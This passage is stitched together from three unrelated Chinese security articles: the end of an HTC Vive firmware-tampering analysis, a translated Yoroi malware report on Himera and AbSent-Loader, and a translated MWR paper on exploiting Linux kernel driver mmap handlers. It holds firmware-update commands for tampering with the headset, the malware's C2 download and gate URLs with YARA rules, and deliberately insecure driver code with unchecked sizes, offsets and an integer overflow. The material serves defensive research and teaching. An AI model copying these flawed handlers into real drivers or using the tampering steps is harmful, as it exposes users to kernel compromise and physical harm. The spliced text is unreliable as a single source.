if ((unsigned __int8)sub_402210(v11, "unpairall")){
sub_40FEF0();
goto LABEL_497;
}
if ((unsigned __int8)sub_402210(v11, "hmdhidtest") )
以下是help命令未列出的命令，但它们仍然在该程序中：
* fpgareset
* fixcalib
* pair
* pairall
* forcepairall
* unpair
* unpairall
* hmdhidtest
* fpgaread
* dongleinfo
* donglereset
* dongleresetall
* eventrate
* wait
* capsensecalibrate
* trackpaddebug
* poweroff
借助此列表，我们可以通过各种方式来测试设备，比如检查按钮的状态。我们也可以下载配置文件，在上传回来，并执行其他特殊操作。
有了lighthouse_watchman_update.exe，攻击者可以轻松更新任何设备的固件，这是上文中每种攻击场景的基础。此外，大多数微控制器的固件可以通过相邻目录访问，尽管它们各自的功能并不十分清晰。
Usage: lighthouse_watchman_update [OPTIONS] [args...]
Options:
-h Prints this message
-m<dev> Update main firmware (default)
-f<dev> Update FPGA firmware
-r<dev> Update radio firmware
-j<dev> k1,f1 k2,f2 ... Update user data {key,filename}. Multiple files supported. Erases prior user data.
-u <dir> Update all devices with firmware in the specified directory
-U <dir> Same as '-u' option but forces update
-x Do not reset device after successful update
-b<dev> Reset device into bootloader mode
-i<dev> Reset bootloader device into ISP mode
-R<dev> Reset into main firmware from the bootloader
-B <num> Set board revision
-l<dev> <num> Set date/lot code
-a<dev> Print bootloader attributes
-c Print CRC128
-d Update watchman dongle
-D Update watchman dongles and/or convert Steam Controller dongles to watchman
-g<dev> Update fuel gauge firmware
-t <path> Reads timestamp information from a watchman firmware image
-s <serial num> Update the device with matching serial number
--via-dongle Perform watchman firmware updates via a dongle radio connection
--via-bootloader (Watchman v3 devices only) Sends the update via the device's bootloader
--via-application (Watchman v3 devices only) Sends the update via the device's application interface
--force-update (Watchman v3 devices only) Forces an update onto a device
--target=<target> (Watchman v3 devices only) Sets the update target. Available targets:
application, bootloader, ice40, max10, nrf52, bq27520, user, default (set by file)
<dev> device 'w' for watchman 'w3' for watchman v3 'v' for VRC 'n' for NEO_VRC
(default is watchman)
## 硬件分析
眼镜主板是整个实验中最有趣的部分，许多重要的硬件部分都在它上面，它还有很多调试连接口。幸运的是，大多数微控制器都不属于BGA情况，这也是我们设法找到某些芯片的SWD连接口的原因。图10显示了其中一个NXP
LPC11U35F。
图10.NXP LPC11U35F的SWD连接口
为了理解每个微控制器执行的功能并重建组件之间的连接，我们使用了焊接器和万用表。
图11.万用表和焊台
我们拆开了主板，用我们的万用表测出了路径，并制定了组件之间的连接方案（见图12）。
图12. HTC Vive组件之间的连接方案
我们之前说过，眼镜有USB-Hub SMSC
USB5537B，其可通过1个USB连接多达7个设备，其中6个可用端口被耳机的主要部件占用，而剩余的外部端口保持空闲以提供给附加设备进行连接。该方案说明不可能从眼镜侧面进入视频输出处理，因为它是一个负责程序的PC。FPGA监控32个眼镜传感器的状态，处理它们发出的所有数据，并通过UART传递给NXP
LPC11U35F/401微控制器。
我们可以得出什么结论？
我们首先想到的是视频流不会受到任何影响，因为它是由PC处理的，PC将渲染的图像发送到眼镜，因此攻击场景2和3不适用。
其次，我们发现芯片（NXP
LPC11U35F/401）负责追踪眼镜的位置并通过USB将它们发送到PC。因此，网络犯罪分子可以修改处理位置数据的系统，以便用户的虚拟位置与真实位置不同，此情况可对应于攻击场景1。
然后，我们必须找出存储在微控制器上的固件，所有微控制器和内存都已经拆焊过，所以，我们需要从中读取数据，在我们的焊台的帮助下，我们将微控制器焊接到TQFP适配器上（参见图13）：
图13.连接到TQFP适配器的芯片
不幸的是，我们找不到SPI内存芯片的适配器，因为它有更少的排针。所以我们只是为它们焊接了一个排针。
图14.带有焊接排针连接口的SPI存储器，用于连接编程器
ChipProg481和一堆电线在提取固件时派上了用场！
图15.连接到它的ChipProg481和STM32F072。
我们从控制器中提取数据以进行更改，但是其中的所有组件都没问题，所以我们不必拆除它们。由于连接到SWD的BlackMagick Probe
v2，从两个微控制器提取数据的过程是绝对无缝的。
图16. Black Magick Probe v2.1连接到控制器板手柄上的SWD
根据收集的数据，我们建立了一个表格，以清晰地说明使用了哪些固件以及在每个微控制器上执行了哪些功能。
Dump 源 | 从SteamVR软件中提取的固件 | 附加信息
---|---|---
Micron N25Q032A13ESE40E 32 Mb | Micron N25Q032A13ESE40E 32 Mb | Addresses from
0xF8000 to 0xF9C1DF were not found in the SteamVR firmware.
STM32F072 | DisplayBin tools/lighthouse/firmware/htc/APP_0000000000200160.bin
| Addresses from 0x0 to 0x26c8 were not found in the SteamVR firmware.
Micron M25P40 4 Mb | DisplayBin
tools/lighthouse/firmware/htc/APP_0000000000200160.bin | –
nRF24LU1P | DongleBin
tools/lighthouse/firmware/vr_controller/archive/htc_vrc_dongle_1461100729_2016_04_19.bin
| –
NXP 11U35F | WatchmanBin
tools/lighthouse/firmware/lighthouse_rx_watchman/archive/htc_watchman_1462663157_2016_05_07.bin
| Configuration archive.
Micron N25Q032A13ESE40E 32 Mb | WatchmanFPGABin
tools/lighthouse/firmware/lighthouse_rx_watchman/archive/htc_pre_watchman_262_fpga.bin
| PNG_1 Green_4A7A16BB004239_mura_analyzes.mc PNG_2
Green_4A8A16B8004487_mura_analyzes.mc.
表1.提取的固件与存储在SteamVR软件文件夹中的固件之间的比较
## 安全方面
HTC
Vive的安全问题很早在更新阶段就出现过，根据微控制器文档记载，所有微控制器都支持通过USB进行更新。从固件文件判断，我们很清楚固件是没有校验和的二进制文件。因此，攻击者可以根据自己的喜好修改固件并将其上传到眼镜中。此外，每个微控制器都有足够的空间（平均45
Kb），以便将修改后的代码放入其中。Change，upload，enjoy！
例如，在NXP LPC11U35文档中，陈述如下：
- In-System Programming (ISP) and In-Application Programming (IAP) via on-chip bootloader software.
- ROM-based USB drivers. Flash updates via USB supported.
- ROM-based 32-bit integer division routines
STM32F072文档：
The boot loader is located in System Memory. It is used to reprogram the Flash memory by using USART on pins PA14/PA15, or PA9/PA10 or I2C on pins PB6/PB7 or through the USB DFU interface.
nRF24LU1P：
The nRF24LU1+ bootloader allows you to program the nRF24LU1+ through the USB interface. The bootloader is pre-programmed into the nRF24LU1+ flash memory and automatically starts when power is applied.
如上所述，有一个特殊的lighthouse_watchman_update.exe控制台工具可用，而恶意代码也可以使用它来进行攻击或实现工具本身的功能。
从HTC_Vive_Tracker_Developer_Guidelines_v1.3可以看出，设备更新的时候用到了以下命令：
- Update MCU’s firmware:
- lighthouse_watchman_update -mnt tracker_mcu_filename.bin
- Update FPGA’s firmware:
- lighthouse_watchman_update -fnt tracker_fpga_filename.bin
- Update RF’s firmware:
- lighthouse_watchman_update -rnt tracker_rf_filename.bin
如果可以更新HTC Vive的软件，攻击者就可以添加可能影响系统运行的恶意代码，并可能导致设备所有者的身体伤害或造成其他不便。
## HTC VIVE PRO
该设备的更新版本在不久前已经发布。但不幸的是，我们还没有机会研究专业版。尽管如此，有关HTC Vive
Pro的可用信息表明基本版本没有发生根本性的变化。虽然一些微控制器确实更新了，但设备的整体操作原理和其组件之间的交互仍然是相同的。他们只是稍微改变了主板的布局（目前改变了两个），以及调整了连接器的放置方式。
还有一项尚未实现的真正的新功能：开发人员宣布他们将发布一款配件，可以将设备从线路中解放出来，并借助WiGig技术通过无线信道来传输数据。然而，除了有用的功能之外，这种新颖性也带来了另一种攻击向量。
## 结论
总而言之，我们列出了关于上述攻击情形的结论清单：
* 攻击场景1：攻击者可以更改眼镜的位置和坐标，用户可能会在他们可以说“Jack Robinson”或软件警告他们这种危险的接近度之前直接装到他们的公寓墙上。
* 攻击场景2和3：由于眼镜并不处理视频流，因此无法使用这些场景。
* 攻击场景4：尽管该场景是可以实现的，但由于HTC Vive是固定设备，很少与其他台式机连接，除了它连接到的PC，所以设备所有者的台式机可能存在被感染的风险。
HTC vive是一种高科技设备，但显然它的安全性并不是开发人员的优先考虑的事项。
攻击者可以轻松访问HTC Vive中使用的每个微控制器的固件，修改并将其上传回眼镜。因此不仅会破坏游戏体验，还会伤害所有者。
多年后，VR和AR技术将变得更先进和发展，技术的安全问题也将如此。不幸的是，该技术的安全问题同时也可能会变得更加严峻和危险。
审核人：yiwang 编辑：边边 | 社区文章 |
**原文链接：[Himera and AbSent-Loader Leverage Covid19
Themes](https://yoroi.company/research/himera-and-absent-loader-leverage-covid19-themes/ "Himera and AbSent-Loader Leverage Covid19 Themes")**
**译者：知道创宇404实验室翻译组**
## 相关介绍
我们在日常的网络监测中，对许多伪装的电子邮件进行了拦截。这些邮件利用正在发生的冠状病毒有关的FMLA（《家庭医疗休假法》）要求，使用Himera和Absent-Loader这两种网络犯罪工具对数据进行了处理。
邮件示例
加载程序是一种恶意代码，用于将其他恶意软件代码加载到受害者的计算机中并对数据进行窃取。攻击者们会把被盗取的信息进行售卖，来获得相应的报酬。
## 技术分析
此恶意活动中的样本首先使用Word文档（该文档指的是可执行文件），然后再删除另一个可执行文件并进行重命名，借此来逃避检测。下图显示了此恶意活动中的感染链：
感染链
恶意电子邮件还包含.doc附件。以下是此文件的静态信息：
该文档的有趣之处在于它不利用任何类型的宏或漏洞，而是将整个可执行文件作为嵌入式对象包含在其中，会诱导用户双击可执行文件的恶意图标。
此外，一旦单击此文件，它就会允许该恶意文档执行名为HimeraLoader.exe的恶意文件。
查看HimeraLoader.exe跟踪，我们注意到在恶意代码的初始加载过程中创建了一个非常有特色的互斥对象:Himera Loader v1.6互斥对象。
Himera Loader Mutex
此外，该示例还使用Windows
API执行了一些经典的反分析技巧，例如“IsDebbugerPresent”、“IsProcessorFeaturePresent”和“GetStartupInfoW”。如果存在调试器，则在程序流中采用不同的路径。函数GetStartupInfoW以一个指向STARTUPINFO结构的指针作为参数，检索在创建调用进程时指定STARTUPINFO结构的内容，该结构接收启动信息并且没有返回值。
加载程序的相关字符串
当Himera Loader执行并通过所有反分析技巧时，它将从 _http:]//195.]2.]92.]151/ad/da/drop/smss.]exe_
收集另一个二进制文件。其远程服务器由Hosting Technologies LLC进行运营。
## AbSent-Loader
Dropurl中下载的文件具有以下静态信息：
执行“smms.exe”时，它将自身文件复制到％TEMP％路径的新文件winsvchost.exe中，并对计划任务进行创建：
计划任务的证据
此外，该恶意软件还采用了一些有趣的反调试技术，如GetTickcount(该技术与我们[上一份报告中](https://yoroi.company/research/anti-debugging-techniques-from-a-complex-visual-basic-packer/)描述的技术非常相似）。将这两个值相减后放在EAX寄存器中，在“调用eax”指令之后，立即减去第一个GetTickCount
API调用，然后执行第二个文件。
GetTickCount反调试技术
该恶意软件每15分钟建立一次TCP连接。这些连接被定向到由Hosting Technologies
LLC（195.2.92.151）运营的同一远程主机上，但这次会将HTTP POST请求发送到“/ad/da/gate.php”资源中。
有效负载内一些相关字符串
该有效负载是AbSent-Loader的新版本，尽管是最新版本，但恶意软件缺乏更加高级的功能。其内容却足够复杂，可以保持对受害者主机持久性的攻击，后续更新升级的恶意软件的内容也会同步进行植入。
## 结论
近期我们观察到恶意软件的攻击和信息的截获是网络威胁的一个全新方面：攻击者们进行这些行为的唯一目的是获得经济收益来支持Covid19的响应。
在这个特定时期，网络空间对公司和人员的风险越来越大，而攻击者们利用所有可能的媒介来赚钱，损害了公司的利益。因此，我们强烈建议公司应该增强其网络安全范围。
## IoCs
**Hashes**
97FA1F66BD2B2F8A34AAFE5A374996F8
4620C79333CE19E62EFD2ADC5173B99A
4D2207059FE853399C8F2140E63C58E3
## C2
<http://195.]2.]92.]151/ad/da/drop/smss.%5Dexe>
<http://195.]2.]92.]151/ad/da/gate.%5Dphp>
**Mutex**
HimeraLoader v1.6
### YARA rules
import "pe"
import "math"
rule HimeraLoader_May2020{
meta:
description = "Yara Rule for HimeraLoaderV1.6"
author = "Cybaze Zlab_Yoroi"
last_updated = "2020-05-29"
tlp = "white"
SHA256 = "b694eec41d6a71b27bb107939c262ed6c7a5f4919c33f152747b9cd7881b1b74"
category = "informational"
strings:
$a1 = {74 ?? 85 CE 75 26 E8 ?? ?? ?? ?? 8B C8 3B CF}
$a2 = {6A 07 0F B7 D0 8D 7D E0 59 33}
$a3 = "mscoree.dll" wide
$a4 = "KViKZjK]EZA^yG@JA"
condition:
uint16(0) == 0x5A4D and all of them
}
rule AbsentLoader_may2020{
meta:
description = "Detects Absent Loader distributed in COVID-19 theme"
author = "Cybaze @ Z-Lab"
hash = "4D2207059FE853399C8F2140E63C58E3"
last_update = "2020-05-18 12:37:28"
tags = "DOC, EXE, FILE, MAL, LOADER, COVID19"
strings:
$s1= {E8 67 05 00 00 E9 7A FE FF FF 55 8B EC 6A 00 FF 15}
$s2 = "9+VPO3Ptqo5VwjCHLBwxY/DzOuo7pbKPh8jnGJHTewlufKPm8dEnimSoUs7gu8v4UfmFdox3L+du1ukoDgqHmpRVRy6NEdgKdvrA5IXLPkp/b+Z9jYpDxfy+rhDQgJiG9gJbBMuSPaO7LSeu+hJyV+HyxIvM" ascii wide
condition:
uint16(0) == 0x5A4D and
uint32(uint32(0x3C)) == 0x00004550 and
pe.number_of_sections == 6 and
$s1 at entrypoint and
$s2 and
filesize > 900KB and
pe.imphash() == "1dc0ccab66ccb6a7a1db95e90357aa9c" and
pe.sections[5].name == ".DATA" and
math.entropy(0, filesize) >= 6
}
* * * | 社区文章 |
# 前言
本文是[Kernel Driver mmap Handler
Exploitation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-mmap-exploitation-whitepaper-2017-09-18.pdf)的翻译文章。
（文章有点长，请善用目录）
# 1\. 内核驱动程序简介
在实施Linux内核驱动程序期间，开发人员会注册一个设备驱动程序文件，该文件通常会在/dev/directory中注册。该文件可能支持普通文件的所有常规功能包括:opening，reading，writing，mmaping，closing等。
设备驱动程序文件支持的操作在`file_operations`结构中描述，其中包含许多函数指针，每个指针操作一个文件。内核4.9的结构定义可以在下面找到：
struct file_operations {
struct module *owner;
loff_t(*llseek) (struct file *, loff_t, int);
ssize_t(*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t(*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t(*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t(*write_iter) (struct kiocb *, struct iov_iter *);
int(*iterate) (struct file *, struct dir_context *);
int(*iterate_shared) (struct file *, struct dir_context *);
unsigned int(*poll) (struct file *, struct poll_table_struct *);
long(*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long(*compat_ioctl) (struct file *, unsigned int, unsigned long);
int(*mmap) (struct file *, struct vm_area_struct *);
int(*open) (struct inode *, struct file *);
int(*flush) (struct file *, fl_owner_t id);
int(*release) (struct inode *, struct file *);
int(*fsync) (struct file *, loff_t, loff_t, int datasync);
int(*fasync) (int, struct file *, int);
int(*lock) (struct file *, int, struct file_lock *);
ssize_t(*sendpage) (struct file *, struct page *, int, size_t, loff_t *,
int);
unsigned long(*get_unmapped_area)(struct file *, unsigned long, unsigned
long, unsigned long, unsigned long);
int(*check_flags)(int);
int(*flock) (struct file *, int, struct file_lock *);
ssize_t(*splice_write)(struct pipe_inode_info *, struct file *, loff_t *,
size_t, unsigned int);
ssize_t(*splice_read)(struct file *, loff_t *, struct pipe_inode_info *,
size_t, unsigned int);
int(*setlease)(struct file *, long, struct file_lock **, void **);
long(*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);
void(*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned(*mmap_capabilities)(struct file *);
#endif
ssize_t(*copy_file_range)(struct file *, loff_t, struct file *, loff_t,
size_t, unsigned int);
int(*clone_file_range)(struct file *, loff_t, struct file *, loff_t,u64);
ssize_t(*dedupe_file_range)(struct file *, u64, u64, struct file *, u64);
};
如上所示，可以实现大量的文件操作，但为了本文的目的，我们将仅关注mmap处理程序的实现。
下面是一个`file_operations`结构和相关函数的设置示例
（`/fs/proc/softirqs.c`）：
static int show_softirqs(struct seq_file *p, void *v)
{
int i, j;
seq_puts(p, " ");
for_each_possible_cpu(i)
seq_printf(p, "CPU%-8d", i);
seq_putc(p, '\n');
for (i = 0; i < NR_SOFTIRQS; i++) {
seq_printf(p, "%12s:", softirq_to_name[i]);
for_each_possible_cpu(j)
seq_printf(p, " %10u", kstat_softirqs_cpu(i, j));
seq_putc(p, '\n');
}
return 0;
}
static int softirqs_open(struct inode *inode, struct file *file)
{
return single_open(file, show_softirqs, NULL);
}
static const struct file_operations proc_softirqs_operations = {
.open = softirqs_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init proc_softirqs_init(void)
{
proc_create("softirqs", 0, NULL, &proc_softirqs_operations);
return 0;
}
在上面的代码中可以看到，`proc_softirqs_operations`结构将允许调用
'open'，'read'，'llseek'和'close'函数在其上执行。
当应用程序尝试打开时
一个`softirqs`文件，然后`open`系统调用将被调用，它指向的`softirqs_open`函数
就会被执行。
# 2.内核mmap处理程序
### 2.1简单mmap处理程序
如前所述，内核驱动程序可以实现它们自己的mmap处理程序。
mmap处理程序的主要目的是加快用户程序和内核空间之间的数据交换。 内核可能直接与用户地址空间共享一个内核缓冲区或一些物理范围的内存。
用户空间进程可以直接修改这个内存，而不需要额外的系统调用。
下面是一个简单的（并且不安全的）mmap处理程序的示例实现：
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_mmap,
.release = dev_release,
};
int size = 0x10000;
static int dev_open(struct inode *inodep, struct file *filep)
{
printk(KERN_INFO "MWR: Device has been opened\n");
filep->private_data = kzalloc(size, GFP_KERNEL);
if (filep->private_data == NULL)
return -1;
return 0;
}
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma->vm_end - vma->vm_start, vma->vm_page_prot )
)
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
在上面列出的驱动程序打开期间，会调用`dev_open`函数，它将简单地分配一个0x10000字节的缓冲区，并在`private_data`字段中存储一个指针。
之后，如果该进程在该文件描述符上调用mmap，则将使用`simple_mmap`函数来处理mmap调用。
该函数将简单地调用`remap_pfn_range`函数，这个函数会在进程地址空间中创建一个新的映射，该映射将`private_data`缓冲区链接到`vma->
vm_start`地址，其大小定义为`vma-> vm_end` \- `vma-> vm_start`。
在这个文件上请求mmap的示例用户空间程序如下：
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDWR);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, 0x1000,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("mmap OK addr: %lx\n", addr);
close(fd);
return 0;
}
上面的代码在`/dev/MWR_DEVICE`驱动文件上调用mmap，大小等于0x1000，文件偏移设置为0x1000，目标地址设置为'0x42424000'。
成功的映射结果如下：
# cat /proc/23058/maps
42424000-42425000 rw-s 00001000 00:06 68639 /dev/MWR_DEVICE
### 2.2 空的mmap处理程序
到目前为止，我们已经看到了mmap操作的最简单实现，但是如果我们的mmap处理函数只是一个空函数，会发生什么呢？
来看下面的实现：
static struct file_operations fops =
{
.open = dev_open,
.mmap = empty_mmap,
.release = dev_release,
labs.mwrinfosecurity.com| © MWR InfoSecurity 5
};
static int empty_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: empty_mmap\n");
return 0;
}
正如我们所看到的，只有日志功能被调用，以便我们可以观察到处理程序被调用。
当调用`empty_mmap`函数时，假设没有任何事情会发生，mmap将会失败，因为没有调用`remap_pfn_range`函数或类似的东西。
然而，这并不是事实。
让我们来运行我们的用户空间代码并检查发生了什么：
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
在`dmesg`日志中，可以看到我们的空处理程序已按照我们的预期成功调用：
[ 1119.393560] MWR: Device has been opened 1 time(s)
[ 1119.393574] MWR: empty_mmap
查看内存映射会看到一些意外的输出：
# cat /proc/2386/maps
42424000-42426000 rw-s 00001000 00:06 22305
我们还没有调用`remap_pfn_range`函数，但映射的创建过程与之前的情况相同。
唯一的区别是这个映射是'无效'的，因为我们没有将任何物理内存映射到该地址范围。但是我们试图在该范围内访问内存，根据所使用的内核，这种mmap的实现会导致进程崩溃或整个内核崩溃。
来尝试使用以下代码访问该范围内的一些内存：
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
正如预期的那样，程序崩溃了：
./mwr_client
Bus error
然而，据观察，在某些3.10 arm/arm64 Android内核中，类似的代码导致内核恐慌。
总之，作为一名开发人员，您不应该认为空处理程序会表现出可预测的性能，请始终使用正确的返回代码来处理内核中的给定情况
### 2.3带有vm_operations_struct的mmap处理程序
在mmap操作期间，可以使用`vm_operations_struct`结构为分配的内存区域上的多个其他操作（如处理未映射的内存，处理页面权限更改等）分配处理程序。
内核4.9的`vm_operations_struct`结构（`/include/linux/mm.h`）定义如下:
struct vm_operations_struct {
void(*open)(struct vm_area_struct * area);
void(*close)(struct vm_area_struct * area);
int(*mremap)(struct vm_area_struct * area);
int(*fault)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*pmd_fault)(struct vm_area_struct *, unsigned long address, pmd_t *,
unsigned int flags);
void(*map_pages)(struct fault_env *fe, pgoff_t start_pgoff, pgoff_t
end_pgoff);
int(*page_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*pfn_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*access)(struct vm_area_struct *vma, unsigned long addr, void *buf, int
len, int write);
const char *(*name)(struct vm_area_struct *vma);
#ifdef CONFIG_NUMA
int(*set_policy)(struct vm_area_struct *vma, struct mempolicy *new);
struct mempolicy *(*get_policy)(struct vm_area_struct *vma, unsigned long
addr);
#endif
struct page *(*find_special_page)(struct vm_area_struct *vma, unsigned long
addr);
};
如上所示，有许多函数指针可以实现自定义处理函数。 这些例子在Linux设备驱动程序手册中有详细描述。
常见的行为是开发人员在实现内存分配时实施“fault”处理程序。 比如，看下面的代码：
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_vma_ops_mmap,
.release = dev_release,
};
static struct vm_operations_struct simple_remap_vm_ops = {
.open = simple_vma_open,
.close = simple_vma_close,
.fault = simple_vma_fault,
};
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
void simple_vma_open(struct vm_area_struct *vma)
{
printk(KERN_NOTICE "MWR: Simple VMA open, virt %lx, phys %lx\n",
vma->vm_start, vma->vm_pgoff << PAGE_SHIFT);
}
void simple_vma_close(struct vm_area_struct *vma)
{
printk(KERN_NOTICE "MWR: Simple VMA close.\n");
}
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
struct page *page = NULL;
unsigned long offset;
printk(KERN_NOTICE "MWR: simple_vma_fault\n");
offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma>vm_pgoff
<< PAGE_SHIFT));
if (offset > PAGE_SIZE << 4)
goto nopage_out;
page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
nopage_out:
return 0;
在上面的代码中，可以看到`simple_vma_ops_mmap`函数用于处理mmap调用。
除了将一个`simple_remap_vm_ops`结构赋值为一个虚拟内存操作处理程序外，它什么也不做。
让我们考虑使用上面提供的代码在驱动程序上运行以下代码：
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
在dmesg中给出了以下输出：
[268819.067085] MWR: Device has been opened 2 time(s)
[268819.067121] MWR: Device simple_vma_ops_mmap
[268819.067123] MWR: Simple VMA open, virt 42424000, phys 1000
[268819.067125] MWR: Device mmap OK
映射进程地址空间：
42424000-42425000 rw-s 00001000 00:06 140215 /dev/MWR_DEVICE
我们可以看到，调用了`simple_vma_ops_mmap`函数，并根据请求创建了内存映射。
在这个例子中，`simple_vma_fault`函数没有被调用。
问题是，我们在地址范围'0x42424000'-'0x42425000'中有一个映射，但它指向哪里？
我们还没有定义这个地址范围指向物理内存的地方，所以如果进程试图访问'0x42424000'-'0x42425000'的任何一个部分，那么将会运行`simple_vma_fault`错误处理程序。
那么让我们看下面的用户空间代码：
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
上面代码中唯一的变化是我们用`printf`函数访问映射的内存。
由于内存位置无效，因此我们调用`simple_vma_fault`处理程序，如下面的dmesg输出所示:
[285305.468520] MWR: Device has been opened 3 time(s)
[285305.468537] MWR: Device simple_vma_ops_mmap
[285305.468538] MWR: Simple VMA open, virt 42424000, phys 1000
[285305.468539] MWR: Device mmap OK
[285305.468546] MWR: simple_vma_fault
在`simple_vma_fault`函数内部，我们可以观察到`offset`变量是使用`vmf>virtual_address`来计算的，该变量指向在内存访问期间未映射的地址。在我们的例子中，这是'addr
[0]'的地址。
下一页结构是通过使用`virt_to_page`宏来获得的，该宏导致新获得的页面被分配给`vmf-> page`变量。
这个赋值意味着当错误处理程序返回时，'addr [0]'将指向由`simple_vma_fault`函数计算出的一些物理内存。
这个内存可以被用户空间程序访问，而不需要任何额外的成本。
如果程序试图访问'addr [513]'（假设sizeof（无符号长整数）等于8），那么错误处理程序将被再次调用，因为'addr [0]'和'addr
[513]'分别位于两个不同的 内存页面，并且只有一页内存已被映射。
因此下面的代码：
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
printf("addr[513]: %x\n", addr[513])
将生成以下内核日志：
[286873.855849] MWR: Device has been opened 4 time(s)
[286873.855976] MWR: Device simple_vma_ops_mmap
[286873.855979] MWR: Simple VMA open, virt 42424000, phys 1000
[286873.855980] MWR: Device mmap OK
[286873.856046] MWR: simple_vma_fault
[286873.856110] MWR: simple_vma_fault
# 3.典型的mmap处理程序问题
### 3.1缺乏用户输入验证
让我们来考虑一下前面的mmap处理程序示例：
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
这个代码是实现mmap处理程序的常用方法，类似的代码可以在Linux设备驱动程序手册中找到。
这个示例代码的主要问题是，`vma-> vm_end`和`vma->
vm_start`的值从不验证，而是直接作为大小参数传递给`remap_pfn_range`。 这意味着恶意进程可能会调用无限大小的mmap。
在我们的例子中，这将允许用户空间进程映射位于`filp-> private_data`缓冲区之后的所有物理内存地址空间，包括所有的内核内存。
这意味着恶意进程将能够从用户空间读取/写入内核内存。
下面是另一个流行的用例：
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, vma->vm_pgoff,
vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
在上面的代码中，我们可以看到用户控制的偏移`vma-> vm_pgoff`作为物理地址直接传递给`remap_pfn_range`函数。
这会导致恶意进程能够将任意物理地址传递给mmap，从而允许从用户空间访问所有内核内存。
这种情况经常会发生轻微的修改，例如在偏移被屏蔽或使用另一个值计算的情况下。
### 3.2 整数溢出
经常看到，开发人员将尝试使用复杂的计算，位掩码，位移，大小和偏移之和等来验证映射的大小和偏移量。然而不幸的是，这往往会创建一些复杂且不寻常的计算和验证程序，导致这些程序难以阅读。经过少量的size和offset的模糊处理后，可以找到绕过这些验证检查的值。
我们来看下面的代码：
static int integer_overflow_mmap(struct file *filp, struct vm_area_struct *vma)
{
unsigned int vma_size = vma->vm_end - vma->vm_start;
unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;
printk(KERN_INFO "MWR: Device integer_overflow_mmap( vma_size: %x, offset:
%x)\n", vma_size, offset);
if (vma_size + offset > 0x10000)
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
return -EAGAIN;
}
if (remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma_size, vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device integer_overflow_mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device integer_overflow_mmap OK\n");
return 0;
}
这是一个整数溢出漏洞的例子，当一个进程调用的大小等于0xfffa000并且偏移量为0xf0006的mmap2系统调用时，将触发这个漏洞。
因为偏移量在mmap处理程序中移到0xf0006000，将会发生整数溢出。0xfffa000和0xf0006000的总和等于0x100000000。
